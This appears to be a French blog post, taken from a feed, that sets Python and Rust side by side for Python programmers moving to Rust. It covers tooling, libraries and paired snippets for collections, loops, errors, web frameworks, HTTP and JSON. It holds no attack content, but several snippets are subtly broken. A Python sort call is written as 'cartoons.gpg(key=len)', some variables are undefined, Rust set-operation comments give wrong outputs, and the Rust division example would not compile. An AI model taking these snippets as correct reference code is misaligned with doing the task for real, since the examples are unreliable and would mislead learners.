      &lt;li&gt;&lt;a href=&#34;https://crates.io/crates/subprocess&#34;&gt;subprocess&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://crates.io/crates/rayon&#34;&gt;Rayon&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/rust-lang-nursery/log&#34;&gt;log&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://doc.rust-lang.org/std/fs/&#34;&gt;fs&lt;/a&gt; &amp; &lt;a href=&#34;https://github.com/webdesus/fs_extra&#34;&gt;fs_extra&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/ron-rs/ron&#34;&gt;RON&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;BinaryHeap&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/SergioBenitez/Rocket&#34;&gt;Rocket&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/DaGenix/rust-crypto&#34;&gt;crypto&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://crates.io/keywords/mongodb&#34;&gt;mongodb&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/Keats/tera&#34;&gt;Tera&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/rust-qt&#34;&gt;rust-qt&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/AlKass/polish&#34;&gt;polish&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/rust-lang-nursery/rust-clippy&#34;&gt;Clippy&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;rustfmt&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/bluss/rust-itertools&#34;&gt;rust-itertools&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/antimonyproject/antimony&#34;&gt;antimony&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/rusoto/rusoto&#34;&gt;rusoto&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;4. Python like features&lt;/b&gt;
      &lt;br/&gt;
      &lt;ul&gt;
      &lt;li&gt;&lt;a href=&#34;https://crates.io/crates/maplit&#34;&gt;maplit&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/nrc/derive-new&#34;&gt;derive_new&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://crates.io/crates/itertools&#34;&gt;itertools&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&#34;https://github.com/libpasta/libpasta&#34;&gt;libpasta&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;5. Hello world&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;fn main() {
  println!(&#34;Hello, World&#34;);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;6. Types&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;use std::collections::HashMap;

fn main() {
    let age = 33;
    let name = &#34;olivier&#34;;
    let weight = 75.3;
    let mut cartoons = vec![&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;];

    let mut ages = HashMap::new();
    ages.insert(&#34;riri&#34;, 7);
    ages.insert(&#34;fifi&#34;, 7);
    ages.insert(&#34;loulou&#34;, 7);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;7. Fonctions&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;/// Substracts b from a
fn substract(a: i32, b: i32) -&gt; i32 {
  a - b
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;8. Manipulation de listes&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;fn main() {
    let mut cartoons = vec![&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;];
    println!(&#34;{}&#34;, cartoons[0]);  // riri
    cartoons.push(&#34;donald&#34;);
    println!(&#34;{}&#34;, cartoons.len());  // 4
    println!(&#34;{:?}&#34;, &amp;cartoons[2..]);  // [&#34;loulou&#34;, &#34;donald&#34;]

    for cartoon in &amp;cartoons {
        println!(&#34;{}&#34;, cartoon);
    }

    for (i, cartoon) in cartoons.iter().enumerate() {
        println!(&#34;{} at {}&#34;, i, cartoon);
    }

    // Lexicographical order
    cartoons.sort();

    // Reversed lexicographical order
    cartoons.sort_by(|a, b| b.cmp(a));

    // Sort by length
    cartoons.sort_by_key(|a| a.len());
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;9. Range&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;for i in (0..6).step_by(2) {
    println!(&#34;{}&#34;, i);  // 0, 2, 4
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;10. Manipulation de dictionnaires (hash map)&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;use std::iter::FromIterator;
use std::collections::HashMap;

fn main() {

    // Create new HashMap
    let mut cartoons_ages = HashMap::new();
    cartoons_ages.insert(&#34;riri&#34;, 7);
    cartoons_ages.insert(&#34;fifi&#34;, 7);
    cartoons_ages.insert(&#34;loulou&#34;, 7);

    // or using a loop
    let mut cartoons_ages = HashMap::new();
    for &amp;(name, age) in [(&#34;riri&#34;, 7), (&#34;fifi&#34;, 7), (&#34;loulou&#34;, 7)].iter() {
        // Possible to remove &amp; and use iter().clone()
        cartoons_ages.insert(name, age);
    }

    // or using an Array
    let mut cartoons_ages: HashMap&lt;&amp;str, i32&gt; =
        [(&#34;riri&#34;, 7), 
         (&#34;fifi&#34;, 7), 
         (&#34;loulou&#34;, 7)]
        .iter().cloned().collect();

    // or using a Vec (Iterator)
    let mut cartoons_ages: HashMap&lt;&amp;str, i32&gt; =
        HashMap::from_iter(
            vec![
               (&#34;riri&#34;, 7),
               (&#34;fifi&#34;, 7),
               (&#34;taz&#34;, 7)
            ]
        );

    cartoons_ages.insert(&#34;donald&#34;, 45);
    println!(&#34;{}&#34;, cartoons_ages[&#34;fifi&#34;]);  // 7
    println!(&#34;{}&#34;, cartoons_ages.contains_key(&#34;fifi&#34;)); // true
    cartoons_ages.remove(&#34;loulou&#34;);


    for name in cartoons_ages.keys() {  // Keys
      println!(&#34;{}&#34;, name);
    }

    for (name, age) in &amp;cartoons_ages {  // Keys &amp; values
      println!(&#34;{} is {} years old&#34;, name, age);
    }

}&lt;/code&gt;
&lt;/pre&gt;
    &lt;br/&gt;&lt;b&gt;Alternative&lt;/b&gt;
    &lt;br/&gt;
    Ajouter la dependency dans Cargo.toml
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;[dependencies]
maplit = &#34;*&#34;
&lt;/code&gt;&lt;/pre&gt;
&lt;br/&gt;
Puis utiliser juste:
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;#[macro_use] extern crate maplit;

let map = hashmap!{
    &#34;riri&#34; =&gt; 7,
    &#34;fifi&#34; =&gt; 7,
    &#34;loulou&#34; =&gt; 7,
};&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;11. Lire contenu d&#39;un fichier&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;use std::io::{BufReader, BufRead};
use std::fs::File;
use std::path::Path;

fn main () {
    let fp = File::open(Path::new(&#34;/tmp/mon_fichier.txt&#34;)).unwrap();
    let file = BufReader::new(&amp;fp);
    for line in file.lines() {
        //  Iterate over lines
        println!(&#34;{}&#34;, line.unwrap());
    }
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;12. Exceptions/ Retour d&#39;erreur&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;fn div(a: f64, b: f64) -&gt; Result&lt;f64, &amp;&#39;static str&gt; {
    if b == 0 {
        Err(&#34;Division par 0 impossible&#34;)
    } else {
        Ok(a / b)
    }
}

fn main() {
    match div(1, 0) {
        Ok(_) =&gt; {},
        Err(_) =&gt; println!(&#34;Oops an error occurred!&#34;),
    };
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;13. &#34;Printer&#34; des objets&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;#[derive(Debug)]
struct Cartoon {
    name: String,
    age: i32
}

fn main() {
    let riri = Cartoon {name: &#34;Riri&#34;.into(), age: 7};
    println!(&#34;{:#?}&#34;, riri);
    // Actor {name: &#34;Riri&#34;, age: 7 }
}
&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;14. Set (hashSet)&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;use std::collections::HashSet;
use std::iter::FromIterator;

fn main() {
    let mut cartoons = HashSet::new();
    cartoons.insert(&#34;riri&#34;);
    cartoons.insert(&#34;fifi&#34;);
    cartoons.insert(&#34;loulou&#34;);
    cartoons.insert(&#34;loulou&#34;);

    // from an iterator
    let mut cartoons: HashSet&lt;&amp;str&gt; = HashSet::from_iter(vec![&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;, &#34;loulou&#34;]);

    // deduplication
    println!(&#34;{:?}&#34;, cartoons); 
    // {&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;}

    // Manipulation sur les hashSet
    let mut cartoons: HashSet&lt;&amp;str&gt; = HashSet::from_iter(vec![&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;, &#34;loulou&#34;, &#34;donald&#34;, &#34;picsou&#34;]);
    let mut some_cartoons: HashSet&lt;&amp;str&gt; = HashSet::from_iter(vec![&#34;donald&#34;, &#34;picsou&#34;]);

    // difference
    cartoons.difference(&amp;some_cartoons); 
    // [&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;]

    // intersection
    cartoons.intersection(&amp;some_cartoons); 
    // [&#34;riri&#34;]

    // union
    cartoons.union(&amp;some_cartoons); 
    // [&#34;red&#34;, &#34;fifi&#34;, &#34;loulou, &#34;donald&#34;, &#34;picsou&#34;]
}&lt;/code&gt;
&lt;/pre&gt;
&lt;br/&gt;&lt;b&gt;Alternative&lt;/b&gt;
    &lt;br/&gt;
    Ajouter la dependency dans Cargo.toml
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;[dependencies]
maplit = &#34;*&#34;
&lt;/code&gt;&lt;/pre&gt;
&lt;br/&gt;
Puis utiliser juste:
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;#[macro_use] extern crate maplit;

let cartoons = hashset!{&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;, &#34;loulou&#34;};&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;15. while et for loops&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;fn main() {

    // While loop
    let mut counter = 0;
    while counter &lt; 10 {
        println!(&#34;{}&#34;, counter);
        counter += 1;
    }

    // infinite while loop
    loop {
        println!(&#34;Infinite loop&#34;);
    }

    // infinite while loop with break
    let mut counter = 0;
    loop {
        println!(&#34;{}&#34;, counter);
        counter += 1;
        if counter &gt;= 10 { break; }
    }

    // infinite while loop with continue
    let mut counter = 0;
    loop {
        counter += 1;
        if counter == 5 { continue; }
        println!(&#34;{}&#34;, counter);
        if counter &gt;= 10 { break; }
    }

    // for loop over a list
    for cartoon in [&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;].iter() {
        println!(&#34;{}&#34;, cartoon);
    }

    // Enumerating indexes
    for (i, cartoon) in [&#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;].iter().enumerate() {
        println!(&#34;{} at index {}&#34;, cartoon, i);
    }

    // for in a range
    for number in 0..100 {
        println!(&#34;{}&#34;, number);  
        // from 0 to 99
    }
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;16. Flask vs Rocket&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;#![feature(plugin)]
#![plugin(rocket_codegen)]

extern crate rocket;

#[get(&#34;/&#34;)]
fn index() -&gt; &amp;&#39;static str {
    &#34;Hello Rust&#34;
}

fn main() {
    rocket::ignite().mount(&#34;/&#34;, routes![index]).launch();
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;17. Request vs Reqwest&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;extern crate reqwest;
use std::io::Read;

fn main() {
    let url = &#34;https://httpbin.org/ip&#34;;

    let mut resp = match reqwest::get(url) {
        Ok(response) =&gt; response,
        Err(e) =&gt; panic!(&#34;error: could not perform get request {}&#34;, e),
    };

    assert!(resp.status().is_success());

    let mut content = String::new();
    resp.read_to_string(&amp;mut content).expect(&#34;valid UTF-8&#34;);

    println!(&#34;The response content is: {}&#34;, content);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;18. JSON encoding decoding&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;extern crate serde;
extern crate serde_json;

#[macro_use]
extern crate serde_derive;

#[derive(Serialize, Deserialize)]
struct Cartoon {
    name: String,
    age: u8,
}

fn main() {
    // Decode/Deserialize
    let cartoon_data = r#&#34;{&#34;name&#34;: &#34;riri&#34;, &#34;age&#34;: 7}&#34;#;

    let c: Cartoon = match serde_json::from_str(cartoon_data) {
        Ok(cartoon) =&gt; cartoon,
        Err(e) =&gt; panic!(&#34;error: could not deserialize: {}&#34;, e),
    };

    // Do things just like with any other Rust data structure.
    println!(&#34;{} was born {} years ago.&#34;, c.name, c.age);

    // Encode/Serialize
    let serialized = serde_json::to_string(&amp;c).unwrap();
    println!(&#34;The serialized value is: {}&#34;, serialized);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px; &#34;&gt;
      &lt;b&gt;19. Object oriented&lt;/b&gt;
      &lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;struct Soldier {
    name: String
}

impl Soldier {

    pub fn new&amp;lt;S&gt;(name: S) -&gt; Soldier where S: Into&lt;String&gt; {
        Soldier { name: name.into() }
    }
    
    pub fn present&lt;S: Into&lt;String&gt;&gt;(&amp;self, other_family_name:S) {
        println!(&#34;Hi M. {}, I&#39;m {}&#34;, other_family_name.into(), self.name);
    }     
    
}

fn main() {
    let soldier = Soldier::new(&#34;Ryan&#34;);
    soldier.present(&#34;Bond&#34;);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
  &lt;/div&gt;

&lt;/div&gt;
&lt;/div&gt;</description>
            <content type="html"><![CDATA[<p>Petit guide rapide pour les <code>Pythonistas</code> souhaitant devenir <code>Rustaceans</code>.</p>
<br/>


<div style="width: 100%; float: left; position: relative;">
  
  <div style="float: left; width: 49%;">
    <div style="width:100%; text-align: center;"><b><u>Python</u></b></div>
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>1. Conventions et guidelines</b>
      <br/>
      <a href="https://www.python.org/dev/peps/pep-0008/">PEP8</a>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>2. Tooling</b>
      <br/>
      <ul>
      <li>requirements.txt</li>
      <li>setup.py</li>
      <li><a href="https://pypi.org/">PyPI</a></li>
      <li><a href="https://pypi.python.org/pypi/pip">pip</a></li>
      <li><a href="https://pypi.python.org/pypi/setuptools">setuptools</a> & <a href="https://python-poetry.org/">poetry</a> pour distribuer des libs</li>
      <li><a href="https://pypi.python.org/pypi/pipenv">pipenv</a> pour la gestion des dépendances</li>
      <li><a href="https://pypi.python.org/pypi/twine">twine</a> pour uploader un package</li>
      <li>venv pour isoler un env</li>
      <li><a href="https://github.com/pyenv/pyenv-installer">pyenv</a> pour gérer ≠ versions de Python</li>
      <li><a href="https://docs.python.org/library/pydoc.html">pydoc</a> & <a href="https://pypi.python.org/pypi/sphinx">Sphinx</a> pour générer la doc</li>
      <li>Python pour interpréter/ compiler</li>
      <li><a href="https://pypi.python.org/pypi/ipython">ipython</a> comme REPL</li>
      <li><a href="https://pypi.python.org/pypi/ipdb">ipdb</a> pour debugguer</li>
      </ul>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>3. Librairies et frameworks</b>
      <br/>
      <ul>
      <li>urllib</li>
      <li>requests</li>
      <li>json</li>
      <li><a href="https://pypi.python.org/pypi/pyyaml">pyYAML</li>
      <li>csv</li>
      <li>datetime & <a href="https://pypi.python.org/pypi/dateutils">dateutils</a></li>
      <li><a href="https://pypi.python.org/pypi/click">click</a> & <a href="https://pypi.python.org/pypi/argparse">argparse</a></li>
      <li><a href="https://pypi.python.org/pypi/docopt"></a>docopt</li>
      <li>re</li>
      <li>subprocess</li>
      <li>multiprocessing</li>
      <li>logging</li>
      <li>pathlib</li>
      <li>pickle</li>
      <li>heapq</li>
      <li>flask</li>
      <li><a href="https://pypi.python.org/pypi/cryptography">cryptography</a></li>
      <li><a href="https://pypi.python.org/pypi/pymongo">pymongo</a></li>
      <li><a href="https://pypi.python.org/pypi/jinja2">jinja2</a></li>
      <li><a href="http://www.pyside.org/">pyside</a></li>
      <li>pytest</li>
      <li>Flake8</li>
      <li>Black</li>
      <li>itertools</li>
      <li>celery</li>
      <li>boto</li>
      </ul>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>4. Python like features</b>
      <br/>
      <ul>
      <li>dict</li>
      <li>constructor avec valeurs par défaut</li>
      <li>itertools</li>
      <li>hashlib</li>
      </ul>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>5. Hello world</b>
      <pre style="margin: 0px; padding: 5px;">
<code>if __name__ == "__main__":
    print("Hello, World")</code>
</pre>
    </div>
    <br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>6. Types</b>
      <pre style="margin: 0px; padding: 5px;">
<code>age = 33
name = 'olivier'
weight = 75.3
cartoons = ['riri', 'fifi', 'loulou']
ages = {
    'riri': 7,
    'fifi': 7,
    'loulou': 7,
}</code>
</pre>
    </div>
    <br/><br/><br/><br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>7. Fonctions</b>
      <pre style="margin: 0px; padding: 5px;">
<code>def substract(a: int, b: int) -> int:
    """Substracts b from a"""
    return a - b</code>
</pre>
    </div>
    <br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>8. Manipulation de listes</b>
      <pre style="margin: 0px; padding: 5px;">
<code>

cartoons = ["riri", "fifi", "loulou"]
print(cartoons[0])  # riri
cartoons.append("donald")
print(len(cartoons))  # 4
print(cartoons[2:])  # ["loulou", "donald"]

for cartoon in cartoons:
    print(cartoon)

for i, cartoon in enumerate(cartoons):
    print(f"{cartoon} at {i}")

# Lexicographical order
cartoons.sort()

# Reversed lexicographical order
cartoons.sort(reverse=True)

# Sort by length
cartoons.gpg(key=len)</code>
</pre>
    </div>
    <br/><br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>9. Range</b>
      <pre style="margin: 0px; padding: 5px;">
<code>for i in range(0,6,2):
   print(i) # 0, 2, 4
    </code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>10. Manipulation de dictionnaires (hash map)</b>
      <pre style="margin: 0px; padding: 5px;">
<code># Create new dict
cartoons_age = {}
cartoons_age["riri"] = 7
cartoons_age["fifi"] = 7
cartoons_age["loulou"] = 7

# or using for loop
cartoons_age = {}
for cartoon, age in [("riri", 7), ("fifi", 7), ("loulou", 7)]:
    cartoons_age[cartoon] = age

# or using a list
cartoons_age = dict([("riri", 7), ("fifi", 7), ("loulou", 7)])

# or using key values
cartoons_age = {
    "riri": 7,
    "fifi": 7,
    "loulou": 7,
}

cartoons_age["donald"] = 45
print(cartoons_age["riri"])  # 7
print("riri" in cartoons_age)  # True

del cartoons_age["loulou"]

for cartoon in cartoons_age:  # Keys
    print(cartoon)

for cartoon, age in cartoons_age.items():  # Keys & values
    print(f"{cartoon} is {age} years old")</code>
</pre>
    </div>
    <br/><br/><br/><br/><br/><br/><br/><br/>
    <br/><br/><br/><br/><br/><br/><br/><br/>
    <br/><br/><br/><br/><br/><br/><br/><br/>
    <br/><br/><br/><br/><br/><br/><br/><br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>11. Lire contenu d'un fichier</b>
      <pre style="margin: 0px; padding: 5px;">
<code>from pathlib import Path

with Path("/tmp/mon_fichier.txt").open() as fp:
    #  Iterate over lines
    for line in fp:
        print(line.strip())</code>
</pre>
    </div>
    <br/><br/><br/><br/><br/><br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>12. Exceptions/ Retour d'erreur</b>
      <pre style="margin: 0px; padding: 5px;">
<code>def div(a, b):
    if b == 0:
        raise ValueError("Division par 0 impossible")
    return a / b

try:
    div(1, 0)
except ValueError:
    print('Oops an error occurred!')</code>
</pre>
    </div>
    <br/><br/><br/><br/><br/>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>13. "Printer" des objets</b>
      <pre style="margin: 0px; padding: 5px;">
<code>class Cartoon:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __repr__(self):
      return str(self.__dict__)

riri = Cartoon(
    name='Riri',
    age=7,
)

print('{!r}'.format(riri))  
# {'name': 'Riri', 'age': 7}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <br/>
    <div style="width:100%; padding-top: 20px; ">
      <b>14. Set (hashSet)</b>
      <pre style="margin: 0px; padding: 5px;">
<code>
cartoons = set()
cartoons.add("riri")
cartoons.add("fifi")
cartoons.add("loulou")
cartoons.add("loulou")

# or using literal syntax
cartoons = {'riri', 'fifi', 'loulou', 'loulou'}

# or using an iterator
cartoons = set(['riri', 'fifi', 'loulou', 'loulou'])

# Manipulation sur les sets
cartoons = {'riri', 'fifi', 'loulou', 'donald', 'picsou'}
some_cartoons = {"donald", "picsou"}

# difference
print(cartoons.difference(some_cartoons))
# {'riri', 'fifi', 'loulou'}

# intersection
print(cartoons.intersection(some_cartoons))  
# {'donald', picsou}

# union
print(cartoons.union(some_cartoons))
# {'riri', 'fifi', 'loulou', 'donald', 'picsou'}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <br/><br/><br/><br/><br/>
    <br/><br/><br/><br/><br/>
    <br/><br/><br/><br/><br/>
    <br/>
    <div style="width:100%; padding-top: 20px; ">
      <b>15. while et for loops</b>
      <pre style="margin: 0px; padding: 5px;">
<code># While loop
counter = 0
while counter < 10:
    print(counter)
    counter += 1

# infinite while loop
while True:
    print("Infinite loop")

# infinite while loop with break
counter = 0
while True:
    print(counter)
    counter += 1
    if counter >= 10:
        break


# while loop with continue
counter = 0
while True:
    counter += 1
    if counter == 5:
        continue
    print(counter)
    if counter >= 10:
        break

# For loop over a list
for cartoon in ["riri", "fifi", "loulou"]:
    print(cartoon)

# Enumerating indexes
for  i, cartoon in enumerate(["riri", "fifi", "loulou"]):
    print(f"{cartoon} at index {i}")

# For in a range
for number in range(0, 100):
    print(number)  # from 0 to 99
</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <br/><br/><br/><br/><br/><br/>
    <div style="width:100%; padding-top: 20px; ">
      <b>16. Flask vs Rocket</b>
      <pre style="margin: 0px; padding: 5px;">
<code>from flask import Flask

app = Flask(__name__)


@app.route('/')
def index():
    return 'Hello Python'


if __name__ == '__main__':
    app.run(port=8080)
</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>17. Request vs Reqwest</b>
      <pre style="margin: 0px; padding: 5px;">
<code>import requests

url = 'https://httpbin.org/ip'

try:
    resp = requests.get(url)
except HTTPError as err:
    msg = f"error: cannot get {url} - {err}"
    raise SystemExit(msg)

assert resp.status_code == 200

print(f"The response content is: {resp.content}")</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <br/><br/><br/><br/><br/>
    <div style="width:100%; padding-top: 20px; ">
      <b>18. JSON encoding decoding</b>
      <pre style="margin: 0px; padding: 5px;">
<code>import json

# Decode/Deserialize
cartoon_data = '''{
    "name": "riri",
    "age": 7
}'''

cartoon = json.loads(cartoon_data)

# Do things like with any other Python data structure
print(f"{cartoon['name']} was born {cartoon['age']} years ago")

# Encode/Serialize
serialized = json.dumps(obj)
print(f"The serialized value is: {serialized}")</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <br/><br/><br/><br/><br/>
    <br/><br/><br/><br/><br/>
    <br/><br/>
    <div style="width:100%; padding-top: 20px; ">
      <b>19. Object oriented</b>
      <pre style="margin: 0px; padding: 5px;">
<code>class Soldier:
    def __init__(self, name: str):
        self.name = name

    def present(self, other_family_name: str):
        print(f"Hi M. {other}, I'm solider {self.name}")

# ...

soldier = Soldier("Ryan")
soldier.present("Bond")</code>
</pre>
    </div>
    <!-- -->
    <!-- -->

  </div>

  <!-- -->
  <!-- -->
  <!-- -->

  <div style="float: right; width: 49%;">
    <div style="width:100%; text-align: center;"><b><u>Rust</u></b></div>
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>1. Conventions et guidelines</b>
      <br/>
<a href="https://rust-lang-nursery.github.io/api-guidelines/">RustAPI Guidelines</a>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>2. Tooling</b>
      <br/>
      <ul>
      <li>Cargo.toml</li>
      <li>Cargo.toml</li>
      <li><a href="http://crates.io/">Crates.io</a></li>
      <li><a href="http://doc.crates.io/">Cargo</a></li>
      <li><a href="http://doc.crates.io/">Cargo</a></li>
      <li><a href="http://doc.crates.io/">Cargo</a></li>
      <li><a href="http://doc.crates.io/">Cargo</a> & <a href="https://github.com/semantic-rs/semantic-rs">Semantic</a></li>
      <li><a href="http://doc.crates.io/">Cargo</a></li>
      <li><a href="https://www.rustup.rs/">Rustup</a></li>
      <li><a href="https://doc.rust-lang.org/stable/rustdoc/">Rustdoc</a> & Cargo</li>
      <li><a href="https://doc.rust-lang.org/1.1.0/rustc/">rustc</a> & Cargo</li>
      <li><a href="https://github.com/murarth/rusti">rusti</a></li>
      <li><a href="https://github.com/rust-lang/rust/blob/master/src/etc/rust-gdb">rust-gdb</a></li>
      </ul>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>3. Librairies et frameworks</b>
      <br/>
      <ul>
